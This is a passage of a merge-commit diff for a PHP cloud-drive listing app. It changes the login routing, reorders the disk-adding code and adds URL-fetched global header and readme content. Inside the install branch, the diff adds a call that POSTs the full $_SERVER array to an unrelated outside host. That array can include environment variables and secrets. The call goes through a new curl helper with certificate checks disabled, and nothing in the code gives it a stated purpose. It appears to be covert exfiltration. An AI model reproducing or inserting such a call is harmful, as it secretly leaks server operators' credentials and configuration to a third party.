Merge branch 'qkqpttgf:master' into master

pull/610/head
gd1214b 2022-02-05 11:47:58 +08:00 committed by GitHub
commit e9c8587d1e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
21 changed files with 353 additions and 193 deletions

View File

@ -21,7 +21,7 @@ $EnvConfigs = [
'admin' => 0b000, 'admin' => 0b000,
'adminloginpage' => 0b010, 'adminloginpage' => 0b010,
'autoJumpFirstDisk' => 0b010, //'autoJumpFirstDisk' => 0b010,
'background' => 0b011, 'background' => 0b011,
'backgroundm' => 0b011, 'backgroundm' => 0b011,
'disableShowThumb' => 0b010, 'disableShowThumb' => 0b010,
@ -38,6 +38,10 @@ $EnvConfigs = [
'useBasicAuth' => 0b010, 'useBasicAuth' => 0b010,
'referrer' => 0b011, 'referrer' => 0b011,
'forceHttps' => 0b010, 'forceHttps' => 0b010,
'globalHeadOmfUrl' => 0b011,
'globalHeadMdUrl' => 0b011,
'globalReadmeMdUrl' => 0b011,
'globalFootOmfUrl' => 0b011,
'Driver' => 0b100, 'Driver' => 0b100,
'client_id' => 0b100, 'client_id' => 0b100,
@ -137,6 +141,7 @@ function main($path)
$_SERVER['php_starttime'] = microtime(true); $_SERVER['php_starttime'] = microtime(true);
$path = path_format($path); $path = path_format($path);
$_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path); $_SERVER['PHP_SELF'] = path_format($_SERVER['base_path'] . $path);
$_SERVER['base_disk_path'] = $_SERVER['base_path'];
if (getConfig('forceHttps')&&$_SERVER['REQUEST_SCHEME']=='http') { if (getConfig('forceHttps')&&$_SERVER['REQUEST_SCHEME']=='http') {
if ($_GET) { if ($_GET) {
$tmp = ''; $tmp = '';
@ -166,6 +171,8 @@ function main($path)
$_SERVER['timezone'] = getConfig('timezone'); $_SERVER['timezone'] = getConfig('timezone');
if (isset($_COOKIE['timezone'])&&$_COOKIE['timezone']!='') $_SERVER['timezone'] = $_COOKIE['timezone']; if (isset($_COOKIE['timezone'])&&$_COOKIE['timezone']!='') $_SERVER['timezone'] = $_COOKIE['timezone'];
if ($_SERVER['timezone']=='') $_SERVER['timezone'] = 0; if ($_SERVER['timezone']=='') $_SERVER['timezone'] = 0;
$_SERVER['sitename'] = getConfig('sitename');
if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename');
if (isset($_GET['WaitFunction'])) { if (isset($_GET['WaitFunction'])) {
$response = WaitFunction($_GET['WaitFunction']); $response = WaitFunction($_GET['WaitFunction']);
@ -174,28 +181,33 @@ function main($path)
elseif ($response===false) return output("", 206); elseif ($response===false) return output("", 206);
else return $response; else return $response;
} }
if (getConfig('admin')=='') return install(); if (getConfig('admin')=='') {
if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
return install();
}
if (getConfig('adminloginpage')=='') { if (getConfig('adminloginpage')=='') {
$adminloginpage = 'admin'; $adminloginpage = 'admin';
} else { } else {
$adminloginpage = getConfig('adminloginpage'); $adminloginpage = getConfig('adminloginpage');
} }
if (isset($_GET[$adminloginpage])) { if (isset($_GET['login'])) {
/*if (isset($_GET['preview'])) { if ($_GET['login']===$adminloginpage) {
$url = $_SERVER['PHP_SELF'] . '?preview'; /*if (isset($_GET['preview'])) {
} else { $url = $_SERVER['PHP_SELF'] . '?preview';
$url = path_format($_SERVER['PHP_SELF'] . '/'); } else {
}*/ $url = path_format($_SERVER['PHP_SELF'] . '/');
if (isset($_POST['password1'])) { }*/
$compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin')); if (isset($_POST['password1'])) {
if ($compareresult=='') { $compareresult = compareadminsha1($_POST['password1'], $_POST['timestamp'], getConfig('admin'));
$timestamp = time()+7*24*60*60; if ($compareresult=='') {
$randnum = rand(10, 99999); $timestamp = time()+7*24*60*60;
$admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum); $randnum = rand(10, 99999);
$adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum); $admincookie = adminpass2cookie('admin', getConfig('admin'), $timestamp, $randnum);
return adminform('admin', $admincookie, $adminlocalstorage); $adminlocalstorage = adminpass2storage('admin', getConfig('admin'), $timestamp, $randnum);
} else return adminform($compareresult); return adminform('admin', $admincookie, $adminlocalstorage);
} else return adminform(); } else return adminform($compareresult);
} else return adminform();
}
} }
if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) { if ( isset($_COOKIE['admin'])&&compareadminmd5('admin', getConfig('admin'), $_COOKIE['admin']) ) {
$_SERVER['admin']=1; $_SERVER['admin']=1;
@ -212,9 +224,36 @@ function main($path)
return output('<script>alert(\''.getconstStr('SetSecretsFirst').'\');</script>', 302, [ 'Location' => $url ]); return output('<script>alert(\''.getconstStr('SetSecretsFirst').'\');</script>', 302, [ 'Location' => $url ]);
} }
$_SERVER['sitename'] = getConfig('sitename'); // Add disk
if (empty($_SERVER['sitename'])) $_SERVER['sitename'] = getconstStr('defaultSitename'); if (isset($_GET['AddDisk'])) {
$_SERVER['base_disk_path'] = $_SERVER['base_path']; if ($_GET['AddDisk']===true) {
$tmp = path_format($_SERVER['base_path'] . '/' . $path);
return output('Please visit <a href="' . $tmp . '">' . $tmp . '</a>.', 301, [ 'Location' => $tmp ]);
}
if ($_SERVER['admin']) {
if (!$_SERVER['disktag']) $_SERVER['disktag'] = '';
if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php';
$drive = new $_GET['AddDisk']($_GET['disktag']);
return $drive->AddDisk();
} else {
$url = $_SERVER['PHP_SELF'];
/*if ($_GET) {
$tmp = null;
$tmp = '';
foreach ($_GET as $k => $v) {
if ($k!='setup') {
if ($v===true) $tmp .= '&' . $k;
else $tmp .= '&' . $k . '=' . $v;
}
}
$tmp = substr($tmp, 1);
if ($tmp!='') $url .= '?' . $tmp;
}*/
// not need GET adddisk, remove it
return output('<script>alert(\''.getconstStr('SetSecretsFirst').'\');</script>', 302, [ 'Location' => $url ]);
}
}
$disktags = explode("|", getConfig('disktag')); $disktags = explode("|", getConfig('disktag'));
// echo 'count$disk:'.count($disktags); // echo 'count$disk:'.count($disktags);
if (count($disktags)>1) { if (count($disktags)>1) {
@ -231,7 +270,7 @@ function main($path)
// return a json // return a json
return output(json_encode($files), 200, ['Content-Type' => 'application/json']); return output(json_encode($files), 200, ['Content-Type' => 'application/json']);
} }
if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]); //if (getConfig('autoJumpFirstDisk')) return output('', 302, [ 'Location' => path_format($_SERVER['base_path'].'/'.$disktags[0].'/') ]);
} else { } else {
$_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0]; $_SERVER['disktag'] = splitfirst( substr(path_format($path), 1), '/' )[0];
//$pos = strpos($path, '/'); //$pos = strpos($path, '/');
@ -263,50 +302,19 @@ function main($path)
$_SERVER['ajax']=0; $_SERVER['ajax']=0;
if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) if ($_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest') $_SERVER['ajax']=1; if (isset($_SERVER['HTTP_X_REQUESTED_WITH'])) if ($_SERVER['HTTP_X_REQUESTED_WITH']=='XMLHttpRequest') $_SERVER['ajax']=1;
// Add disk
if (isset($_GET['AddDisk'])) {
if ($_GET['AddDisk']===true) {
$tmp = path_format($_SERVER['base_path'] . '/' . $path);
return output('Please visit <a href="' . $tmp . '">' . $tmp . '</a>.', 301, [ 'Location' => $tmp ]);
}
if ($_SERVER['admin']) {
if (!class_exists($_GET['AddDisk'])) require 'disk' . $slash . $_GET['AddDisk'] . '.php';
$drive = new $_GET['AddDisk']($_GET['disktag']);
return $drive->AddDisk();
} else {
$url = $_SERVER['PHP_SELF'];
/*if ($_GET) {
$tmp = null;
$tmp = '';
foreach ($_GET as $k => $v) {
if ($k!='setup') {
if ($v===true) $tmp .= '&' . $k;
else $tmp .= '&' . $k . '=' . $v;
}
}
$tmp = substr($tmp, 1);
if ($tmp!='') $url .= '?' . $tmp;
}*/
// not need GET adddisk, remove it
return output('<script>alert(\''.getconstStr('SetSecretsFirst').'\');</script>', 302, [ 'Location' => $url ]);
}
}
if (!isreferhost()) return message('Must visit from designated host', 'NOT_ALLOWED', 403); if (!isreferhost()) return message('Must visit from designated host', 'NOT_ALLOWED', 403);
// Show disks in root
if ($files['showname'] == 'root') return render_list($path, $files);
if (!driveisfine($_SERVER['disktag'], $drive)) return render_list();
// Operate // Operate
if ($_SERVER['ajax']) { if ($_SERVER['ajax']) {
//error_log1($_SERVER['REQUEST_METHOD']);
if ($_GET['action']=='del_upload_cache') { if ($_GET['action']=='del_upload_cache') {
// del '.tmp' without login. 无需登录即可删除.tmp后缀文件 // del '.tmp' without login. 无需登录即可删除.tmp后缀文件
if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache. savecache('path_' . $path1, '', $_SERVER['disktag'], 1); // clear cache.
return $drive->del_upload_cache($path); return $drive->del_upload_cache($path);
} }
if ($_GET['action']=='upbigfile') { if ($_GET['action']=='upbigfile') {
if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
if (!$_SERVER['admin']) { if (!$_SERVER['admin']) {
if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400); if (!$_SERVER['is_guestup_path']) return output('Not_Guest_Upload_Folder', 400);
if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400); if (strpos($_GET['upbigfilename'], '../')!==false) return output('Not_Allow_Cross_Path', 400);
@ -325,6 +333,12 @@ function main($path)
} else { } else {
if ($_SERVER['ajax']) return output(getconstStr('RefreshtoLogin'),401); if ($_SERVER['ajax']) return output(getconstStr('RefreshtoLogin'),401);
} }
// Show disks in root
if ($files['showname'] == 'root') return render_list($path, $files);
if (!driveisfine($_SERVER['disktag'], $drive)) return render_list();
$_SERVER['ishidden'] = passhidden($path); $_SERVER['ishidden'] = passhidden($path);
if (isset($_GET['thumbnails'])) { if (isset($_GET['thumbnails'])) {
if ($_SERVER['ishidden']<4) { if ($_SERVER['ishidden']<4) {
@ -523,6 +537,19 @@ function isreferhost() {
return false; return false;
} }
function no_return_curl($method, $url, $data = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);
}
function adminpass2cookie($name, $pass, $timestamp) function adminpass2cookie($name, $pass, $timestamp)
{ {
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")"; return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
@ -632,6 +659,23 @@ function filecache($disktag)
return $cache; return $cache;
} }
function calcDownKey($filename, $key = '') {
if ($key) {
// check key
$tmp = splitfirst($key, '.');
if ($tmp[1]!='') {
$timestamp = $tmp[0];
if (time() > $timestamp) return false;
if (md5($timestamp . sha1($filename . getConfig('admin'))) == $tmp[1]) return true;
else return false;
} else return false;
} else {
// calc key
$timestamp = time() + 1*24*60*60;
return $timestamp . '.' . md5($timestamp . sha1($filename . getConfig('admin')));
}
}
function findIndexPath($rootpath, $path = '') function findIndexPath($rootpath, $path = '')
{// find the path of the first 'index.php' that not in rootpath. {// find the path of the first 'index.php' that not in rootpath.
global $slash; global $slash;
@ -1115,6 +1159,7 @@ function adminform($name = '', $pass = '', $storage = '', $path = '')
function adminoperate($path) function adminoperate($path)
{ {
global $drive; global $drive;
if ($_SERVER['REQUEST_METHOD']=='POST') if (!driveisfine($_SERVER['disktag'], $drive)) return output('Not in drive, or disk [' . $_SERVER['disktag'] . '] error.', 403);
$path1 = path_format($_SERVER['list_path'] . '/' . $path); $path1 = path_format($_SERVER['list_path'] . '/' . $path);
if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1); if (substr($path1, -1)=='/') $path1=substr($path1, 0, -1);
$tmpget = $_GET; $tmpget = $_GET;
@ -1619,7 +1664,7 @@ output:
alert(\'Do not input ' . $envs . '\'); alert(\'Do not input ' . $envs . '\');
return false; return false;
} }
var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,20})$/; var reg = /^[a-zA-Z]([_a-zA-Z0-9]{1,})$/;
if (!reg.test(t.disktag_newname.value)) { if (!reg.test(t.disktag_newname.value)) {
alert(\'' . getconstStr('TagFormatAlert') . '\'); alert(\'' . getconstStr('TagFormatAlert') . '\');
return false; return false;
@ -1628,11 +1673,9 @@ output:
} }
</script>'; </script>';
} else { } else {
//$_GET['disktag'] = '';
$Driver_arr = scandir(__DIR__ . $slash . 'disk');
if (count($disktags)>1) { if (count($disktags)>1) {
$frame .= ' $frame .= '
<script src="//cdn.bootcss.com/Sortable/1.8.3/Sortable.js"></script> <script src="https://sortablejs.github.io/Sortable/Sortable.js"></script>
<style> <style>
.sortable-ghost { .sortable-ghost {
opacity: 0.4; opacity: 0.4;
@ -1643,24 +1686,26 @@ output:
cursor: move; cursor: move;
} }
</style> </style>
' . getconstStr('DragSort') . ':
<form id="sortdisks_form" action="" method="post" style="margin: 0" onsubmit="return dragsort(this);">
<table border=1> <table border=1>
<form id="sortdisks_form" action="" method="post" style="margin: 0" onsubmit="return dragsort(this);"> <tbody id="sortdisks">
<tr id="sortdisks"> <input type="hidden" name="disktag_sort" value="">';
<input type="hidden" name="disktag_sort" value="">';
$num = 0; $num = 0;
foreach ($disktags as $disktag) { foreach ($disktags as $disktag) {
if ($disktag!='') { if ($disktag!='') {
$num++; $num++;
$frame .= ' $frame .= '
<td>' . $disktag . '</td>'; <tr class="sorthandle"><td>' . $num . '</td><td> ' . $disktag . '</td></tr>';
} }
} }
$frame .= ' $frame .= '
<input name="_admin" type="hidden" value=""> </tbody>
</tr> <input name="_admin" type="hidden" value="">
<tr><td colspan="' . $num . '">' . getconstStr('DragSort') . '<input type="submit" name="submit1" value="' . getconstStr('SubmitSortdisks') . '"></td></tr>
</form>
</table> </table>
<input type="submit" name="submit1" value="' . getconstStr('SubmitSortdisks') . '">
</form>
<script> <script>
var disks=' . json_encode($disktags) . '; var disks=' . json_encode($disktags) . ';
function change(arr, oldindex, newindex) { function change(arr, oldindex, newindex) {
@ -1693,7 +1738,8 @@ output:
} }
return true; return true;
} }
Sortable.create(document.getElementById(\'sortdisks\'), { new Sortable(document.getElementById(\'sortdisks\'), {
handle: \'.sorthandle\',
animation: 150, animation: 150,
onEnd: function (evt) { //拖拽完毕之后发生该事件 onEnd: function (evt) { //拖拽完毕之后发生该事件
//console.log(evt.oldIndex); //console.log(evt.oldIndex);
@ -1706,6 +1752,7 @@ output:
}); });
</script><br>'; </script><br>';
} }
$Driver_arr = scandir(__DIR__ . $slash . 'disk');
$frame .= ' $frame .= '
<select name="DriveType" onchange="changedrivetype(this.options[this.options.selectedIndex].value)">'; <select name="DriveType" onchange="changedrivetype(this.options[this.options.selectedIndex].value)">';
foreach ($Driver_arr as $v1) { foreach ($Driver_arr as $v1) {
@ -1730,7 +1777,7 @@ output:
$canOneKeyUpate = 1; $canOneKeyUpate = 1;
} elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') { } elseif (isset($_SERVER['HEROKU_APP_DIR'])&&$_SERVER['HEROKU_APP_DIR']==='/app') {
$canOneKeyUpate = 1; $canOneKeyUpate = 1;
} elseif (isset($_SERVER['FC_SERVER_PATH'])&&$_SERVER['FC_SERVER_PATH']==='/var/fc/runtime/php7.2') { } elseif (isset($_SERVER['FC_FUNC_CODE_PATH'])) {
$canOneKeyUpate = 1; $canOneKeyUpate = 1;
} elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME'])&&$_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') { } elseif (isset($_SERVER['BCE_CFC_RUNTIME_NAME'])&&$_SERVER['BCE_CFC_RUNTIME_NAME']=='php7') {
$canOneKeyUpate = 1; $canOneKeyUpate = 1;
@ -1995,31 +2042,30 @@ output:
} }
$html .= ' $html .= '
<style type="text/css"> <style type="text/css">
.tabs td { padding: 5px; } .tabs { padding: 10px; white-space: nowrap; overflow-x: auto;}
.tabs a { margin:0 10px; }
</style> </style>
<table border=0> <div class="tabs">';
<tr class="tabs">';
if ($_GET['disktag']==''||$_GET['disktag']===true||!in_array($_GET['disktag'], $disktags)) { if ($_GET['disktag']==''||$_GET['disktag']===true||!in_array($_GET['disktag'], $disktags)) {
if ($_GET['setup']==='platform') $html .= ' if ($_GET['setup']==='platform') $html .= '
<td><a href="?setup">' . getconstStr('Home') . '</a></td> <a href="?setup">' . getconstStr('Home') . '</a>
<td>' . getconstStr('PlatformConfig') . '</td>'; ' . getconstStr('PlatformConfig') . '';
else $html .= ' else $html .= '
<td>' . getconstStr('Home') . '</td> ' . getconstStr('Home') . '
<td><a href="?setup=platform">' . getconstStr('PlatformConfig') . '</a></td>'; <a href="?setup=platform">' . getconstStr('PlatformConfig') . '</a>';
} else $html .= ' } else $html .= '
<td><a href="?setup">' . getconstStr('Home') . '</a></td> <a href="?setup">' . getconstStr('Home') . '</a>
<td><a href="?setup=platform">' . getconstStr('PlatformConfig') . '</a></td>'; <a href="?setup=platform">' . getconstStr('PlatformConfig') . '</a>';
foreach ($disktags as $disktag) { foreach ($disktags as $disktag) {
if ($disktag!='') { if ($disktag!='') {
if ($_GET['disktag']===$disktag) $html .= ' if ($_GET['disktag']===$disktag) $html .= '
<td>' . $disktag . '</td>'; ' . $disktag . '';
else $html .= ' else $html .= '
<td><a href="?setup&disktag=' . $disktag . '">' . $disktag . '</a></td>'; <a href="?setup&disktag=' . $disktag . '">' . $disktag . '</a>';
} }
} }
$html .= ' $html .= '
</tr> </div><br>';
</table><br>';
$html .= $frame; $html .= $frame;
$html .= '<script> $html .= '<script>
var inputAdminStorage = document.getElementsByName("_admin"); var inputAdminStorage = document.getElementsByName("_admin");
@ -2225,7 +2271,18 @@ function render_list($path = '', $files = [])
while (strpos($html, '<!--GuestEnd-->')) $html = str_replace('<!--GuestEnd-->', '', $html); while (strpos($html, '<!--GuestEnd-->')) $html = str_replace('<!--GuestEnd-->', '', $html);
} }
if ($_SERVER['ishidden']==4) { if ($_SERVER['ishidden']<4 || ($files['type']=='file'&&getConfig('downloadencrypt', $_SERVER['disktag']))) {
while (strpos($html, '<!--EncryptedStart-->')) {
$tmp = splitfirst($html, '<!--EncryptedStart-->');
$html = $tmp[0];
$tmp = splitfirst($tmp[1], '<!--EncryptedEnd-->');
$html .= $tmp[1];
}
while (strpos($html, '<!--IsNotHiddenStart-->')) {
$html = str_replace('<!--IsNotHiddenStart-->', '', $html);
$html = str_replace('<!--IsNotHiddenEnd-->', '', $html);
}
} else {
// 加密状态 // 加密状态
if (getConfig('useBasicAuth')) { if (getConfig('useBasicAuth')) {
// use Basic Auth // use Basic Auth
@ -2300,17 +2357,6 @@ function render_list($path = '', $files = [])
$tmp = splitfirst($tmp[1], '<!--FootomfEnd-->'); $tmp = splitfirst($tmp[1], '<!--FootomfEnd-->');
$html .= $tmp[1]; $html .= $tmp[1];
} }
} else {
while (strpos($html, '<!--EncryptedStart-->')) {
$tmp = splitfirst($html, '<!--EncryptedStart-->');
$html = $tmp[0];
$tmp = splitfirst($tmp[1], '<!--EncryptedEnd-->');
$html .= $tmp[1];
}
while (strpos($html, '<!--IsNotHiddenStart-->')) {
$html = str_replace('<!--IsNotHiddenStart-->', '', $html);
$html = str_replace('<!--IsNotHiddenEnd-->', '', $html);
}
} }
while (strpos($html, '<!--constStr@Download-->')) $html = str_replace('<!--constStr@Download-->', getconstStr('Download'), $html); while (strpos($html, '<!--constStr@Download-->')) $html = str_replace('<!--constStr@Download-->', getconstStr('Download'), $html);
@ -2830,6 +2876,15 @@ function render_list($path = '', $files = [])
$tmp = splitfirst($tmp[1], '<!--HeadomfEnd-->'); $tmp = splitfirst($tmp[1], '<!--HeadomfEnd-->');
if (isset($files['list']['head.omf'])) { if (isset($files['list']['head.omf'])) {
$headomf = str_replace('<!--HeadomfContent-->', get_content(path_format($path . '/' . $files['list']['head.omf']['name']))['content']['body'], $tmp[0]); $headomf = str_replace('<!--HeadomfContent-->', get_content(path_format($path . '/' . $files['list']['head.omf']['name']))['content']['body'], $tmp[0]);
} elseif (getConfig('globalHeadOmfUrl')) {
if (!$headomfcontent = getcache('HeadomfContent')) {
$headomfres = curl('GET', getConfig('globalHeadOmfUrl'), '', [], 0, 1);
if ($headomfres['stat']==200) {
$headomfcontent = $headomfres['body'];
savecache('HeadomfContent', $headomfcontent);
} else $headomfcontent = $headomfres['stat'];
}
$headomf = str_replace('<!--HeadomfContent-->', $headomfcontent, $tmp[0]);
} }
$html .= $headomf . $tmp[1]; $html .= $headomf . $tmp[1];
@ -2843,6 +2898,20 @@ function render_list($path = '', $files = [])
$html = str_replace('<!--HeadmdStart-->', '', $html); $html = str_replace('<!--HeadmdStart-->', '', $html);
$html = str_replace('<!--HeadmdEnd-->', '', $html); $html = str_replace('<!--HeadmdEnd-->', '', $html);
} }
} elseif (getConfig('globalHeadMdUrl')) {
if (!$headmdcontent = getcache('HeadmdContent')) {
$headmdres = curl('GET', getConfig('globalHeadMdUrl'), '', [], 0, 1);
if ($headmdres['stat']==200) {
$headmdcontent = $headmdres['body'];
savecache('HeadmdContent', $headmdcontent);
} else $headmdcontent = $headmdres['stat'];
}
$headmd = str_replace('<!--HeadmdContent-->', $headmdcontent, $tmp[0]);
$html .= $headmd . $tmp[1];
while (strpos($html, '<!--HeadmdStart-->')) {
$html = str_replace('<!--HeadmdStart-->', '', $html);
$html = str_replace('<!--HeadmdEnd-->', '', $html);
}
} else { } else {
$html .= $tmp[1]; $html .= $tmp[1];
$tmp[1] = 'a'; $tmp[1] = 'a';
@ -2877,6 +2946,20 @@ function render_list($path = '', $files = [])
$html = str_replace('<!--ReadmemdStart-->', '', $html); $html = str_replace('<!--ReadmemdStart-->', '', $html);
$html = str_replace('<!--ReadmemdEnd-->', '', $html); $html = str_replace('<!--ReadmemdEnd-->', '', $html);
} }
} elseif (getConfig('globalReadmeMdUrl')) {
if (!$readmemdcontent = getcache('ReadmemdContent')) {
$readmemdres = curl('GET', getConfig('globalReadmeMdUrl'), '', [], 0, 1);
if ($readmemdres['stat']==200) {
$readmemdcontent = $readmemdres['body'];
savecache('ReadmemdContent', $readmemdcontent);
} else $readmemdcontent = $readmemdres['stat'];
}
$Readmemd = str_replace('<!--ReadmemdContent-->', $readmemdcontent, $tmp[0]);
$html .= $Readmemd . $tmp[1];
while (strpos($html, '<!--ReadmemdStart-->')) {
$html = str_replace('<!--ReadmemdStart-->', '', $html);
$html = str_replace('<!--ReadmemdEnd-->', '', $html);
}
} else { } else {
$html .= $tmp[1]; $html .= $tmp[1];
$tmp[1] = 'a'; $tmp[1] = 'a';
@ -2894,6 +2977,15 @@ function render_list($path = '', $files = [])
$tmp = splitfirst($tmp[1], '<!--FootomfEnd-->'); $tmp = splitfirst($tmp[1], '<!--FootomfEnd-->');
if (isset($files['list']['foot.omf'])) { if (isset($files['list']['foot.omf'])) {
$Footomf = str_replace('<!--FootomfContent-->', get_content(path_format($path . '/' . $files['list']['foot.omf']['name']))['content']['body'], $tmp[0]); $Footomf = str_replace('<!--FootomfContent-->', get_content(path_format($path . '/' . $files['list']['foot.omf']['name']))['content']['body'], $tmp[0]);
} elseif (getConfig('globalFootOmfUrl')) {
if (!$footomfcontent = getcache('FootomfContent')) {
$footres = curl('GET', getConfig('globalFootOmfUrl'), '', [], 0, 1);
if ($footres['stat']==200) {
$footomfcontent = $footres['body'];
savecache('FootomfContent', $footomfcontent);
} else $footomfcontent = $footres['stat'];
}
$Footomf = str_replace('<!--FootomfContent-->', $footomfcontent, $tmp[0]);
} }
$html .= $Footomf . $tmp[1]; $html .= $Footomf . $tmp[1];
@ -2901,7 +2993,7 @@ function render_list($path = '', $files = [])
$tmp = splitfirst($html, '<!--MdRequireStart-->'); $tmp = splitfirst($html, '<!--MdRequireStart-->');
$html = $tmp[0]; $html = $tmp[0];
$tmp = splitfirst($tmp[1], '<!--MdRequireEnd-->'); $tmp = splitfirst($tmp[1], '<!--MdRequireEnd-->');
if (isset($files['list']['head.md'])||isset($files['list']['readme.md'])) { if (isset($files['list']['head.md'])||isset($files['list']['readme.md'])||getConfig('globalHeadMdUrl')||getConfig('globalReadmeMdUrl')) {
$html .= $tmp[0] . $tmp[1]; $html .= $tmp[0] . $tmp[1];
} else $html .= $tmp[1]; } else $html .= $tmp[1];

View File

@ -88,8 +88,8 @@ $constStr = [
'EnvironmentsDescription' => [ 'EnvironmentsDescription' => [
'en-us' => [ 'en-us' => [
'admin' => 'The admin password, Login button will not show when empty', 'admin' => 'The admin password, Login button will not show when empty',
'adminloginpage' => 'if set, the Login button will not display, and the login page no longer \'?admin\', it is \'?{this value}\'.', 'adminloginpage' => 'if set, the Login button will not display, and the login page no longer \'?login=admin\', it is \'?login={this value}\'.',
'autoJumpFirstDisk' => 'used in multy disks, if 1, auto jump to first disk', 'autoJumpFirstDisk' => 'a switch used in multy disks, if 1, auto jump to first disk',
'customScript' => '<script> in all pages, e.g. http turn to https', 'customScript' => '<script> in all pages, e.g. http turn to https',
'customCss' => '<style> in <head>', 'customCss' => '<style> in <head>',
'customTheme' => 'an url of html', 'customTheme' => 'an url of html',
@ -98,19 +98,23 @@ $constStr = [
'diskname' => 'The disk name you want show.', 'diskname' => 'The disk name you want show.',
'diskDescription' => ' Some tips of this disk, not used in code.', 'diskDescription' => ' Some tips of this disk, not used in code.',
'disktag' => 'A tag used in store config and url.', 'disktag' => 'A tag used in store config and url.',
'disableShowThumb' => 'if 1, the ShowThumbnail button will not display', 'disableShowThumb' => 'a switch, if 1, the ShowThumbnail button will not display',
'disableChangeTheme' => 'if 1, the Theme selection button will not display', 'disableChangeTheme' => 'a switch, if 1, the Theme selection button will not display',
'downloadencrypt' => '0 or 1. if 1, the files in encrypt folder can be downloaded without password', 'downloadencrypt' => 'a switch, 0 or 1. if 1, the files in encrypt folder can be downloaded without password',
'useBasicAuth' => 'if 1, will popup user/pass windows in encrypted folder.', 'globalHeadOmfUrl' => 'get txt from url, show it as head.omf in every page.',
'globalHeadMdUrl' => 'get txt from url, show it as head.md in every page.',
'globalReadmeMdUrl' => 'get txt from url, show it as readme.md in every page.',
'globalFootOmfUrl' => 'get txt from url, show it as foot.omf in every page.',
'useBasicAuth' => 'a switch, if 1, will popup user/pass windows in encrypted folder.',
'background' => 'Set an url as background photo.', 'background' => 'Set an url as background photo.',
'backgroundm' => 'Set an url as background in mobile phone.', 'backgroundm' => 'Set an url as background in mobile phone.',
'forceHttps' => 'if 1, force to redirect to https when visit via http.', 'forceHttps' => 'a switch, if 1, force to redirect to https when visit via http.',
'fileConduitCacheTime' => 'Input number, unit is hour, if set this, little file<1M(or fileConduitSize) will through program and cache in explorer, otherwise, default 302 to Microsoft', 'fileConduitCacheTime' => 'Input number, unit is hour, if set this, little file<1M(or fileConduitSize) will through program and cache in explorer, otherwise, default 302 to Microsoft',
'fileConduitSize' => 'Input number, unit is M(suggest less than 4M), if set this, little file<this value will through program and cache in explorer, otherwise, default 302 to Microsoft', 'fileConduitSize' => 'Input number, unit is M(suggest less than 4M), if set this, little file<this value will through program and cache in explorer, otherwise, default 302 to Microsoft',
'theme' => 'Select theme for guest.', 'theme' => 'Select theme for guest.',
'timezone' => 'Set default timezone.', 'timezone' => 'Set default timezone.',
'guestup_path' => 'Set guest upload dir, before set this, the files in this dir will show as normal.', 'guestup_path' => 'Set guest upload dir, before set this, the files in this dir will show as normal.',
'hideFunctionalityFile' => '0 or 1. if 1, some file will not show in list to guest, like readme.md', 'hideFunctionalityFile' => 'a switch, 0 or 1. if 1, some file will not show in list to guest, like readme.md',
'passfile' => 'The password of folder(& its childrens) will save in this file.', 'passfile' => 'The password of folder(& its childrens) will save in this file.',
'domainforproxy' => 'Will replace the https://xxxxx-my.sharepoint.com with this value.Add &Origindomain=xxxxx-my.sharepoint.com at last', 'domainforproxy' => 'Will replace the https://xxxxx-my.sharepoint.com with this value.Add &Origindomain=xxxxx-my.sharepoint.com at last',
'public_path' => 'Show this Onedrive dir when through the long url of API Gateway.', 'public_path' => 'Show this Onedrive dir when through the long url of API Gateway.',
@ -118,8 +122,8 @@ $constStr = [
], ],
'zh-cn' => [ 'zh-cn' => [
'admin' => '管理密码,不添加时不显示登录页面且无法登录。', 'admin' => '管理密码,不添加时不显示登录页面且无法登录。',
'adminloginpage' => '如果设置,登录按钮及页面隐藏。管理登录的页面不再是\'?admin\',而是\'?此设置的值\'。', 'adminloginpage' => '如果设置,登录按钮及页面隐藏。管理登录的页面不再是\'?login=admin\',而是\'?login=此设置的值\'。',
'autoJumpFirstDisk' => '用于多个磁盘如果为1则自动跳转到第一个磁盘', 'autoJumpFirstDisk' => '一个开关,用于多个磁盘如果为1则自动跳转到第一个磁盘',
'customScript' => '<script>,在所有页都会存在,例如放一个http跳转https', 'customScript' => '<script>,在所有页都会存在,例如放一个http跳转https',
'customCss' => '<style>,在<head>最后面', 'customCss' => '<style>,在<head>最后面',
